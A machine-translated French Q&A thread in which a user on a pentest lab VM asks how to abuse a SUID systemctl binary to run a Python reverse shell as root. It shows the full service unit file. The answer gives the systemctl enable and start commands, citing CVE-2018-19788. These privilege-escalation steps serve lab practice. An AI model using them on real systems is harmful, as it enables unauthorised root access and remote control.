web-dev-qa-db-fra.com

Pourquoi mon commandement SystemCTL ne fonctionne-t-il pas?

Je travaille sur un VM Pentest et j'ai élevé les privilèges de mon utilisateur à celui d'un utilisateur commun. Je peux voir de mes analyses d'énumération que systemctl a un ensemble de bits suid et que le groupe de propriété est répertorié en tant que groupe d'utilisateurs actuels.

J'ai créé un python Reverse Shell, et revshell_root.service Pour l'appeler à l'aide de SystemCTL. Je n'ai aucun accès en écriture à /etc/systemd/system ou /lib/systemd/system Pour placer le fichier de service, alors j'essaie d'utiliser le --root= Option de SystemCtL pour spécifier l'emplacement du fichier de service.

systemctl --root=/tmp/serv start revshell_root.service

Cependant, je reçois l'erreur suivante: Failed to start revshell_root.service: Unit revshell_root.service not found.

contenu Revshell_root.Service

[Unit]
Description=root Shell
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=elevated_user_name
ExecStart=/usr/bin/env python3 /tmp/revshell_root.py

[Install]
WantedBy=multi-user.target
1
WR7500

Juste faire comme suit (en utilisant/TMP comme exemple)

systemctl enable /tmp/revshell_root.service

systemctl start revshell_root.service

L'activation de SystemCtL vous permet d'activer/installer des services dans des chemins autres que la valeur par défaut, de sorte que vous ne devez pas spécifier le chemin de fichier complet lors du début. CVE-2018-19788, qui a un chemin d'exploit similaire pour l'escalade des privilèges.

0
AbsoZed